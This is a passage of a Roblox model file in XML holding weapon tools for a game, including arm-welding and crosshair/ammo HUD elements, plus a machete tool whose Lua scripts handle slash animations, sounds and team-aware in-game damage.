&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5003">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.15, .7) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX5004">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX5005">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5006">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5007">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5008">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5009">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX5010">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5011">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5012">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX5013">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5014">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5015">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
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						<R22>-0.0344138145</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5059">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5060">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=25
swingdamage=50
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(1.33)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(1.33)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(1.33)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(1.33)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5061">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-1.39999998</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0.957826197</R11>
					<R12>-0.287348181</R12>
					<R20>0</R20>
					<R21>0.287348181</R21>
					<R22>0.957826197</R22>
				</CoordinateFrame>
				<string name="Name">Machete</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126856793</url></Content>
				<string name="ToolTip">Machete</string>
			</Properties>
			<Item class="Part" referent="RBX5062">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>19.1800003</X>
						<Y>101.840004</Y>
						<Z>27.7800007</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>4.00000048</Y>
						<Z>0.599999607</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX5063">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX5064">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=123248347</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.400000006</X>
							<Y>0.400000006</Y>
							<Z>0.400000006</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5065">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5066">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5067">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5068">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5069">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5070">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5071">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5072">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5073">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5074">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5075">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5076">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5077">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74813494</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX5078">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5079">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5080">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74897796</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5081">
				<Properties>
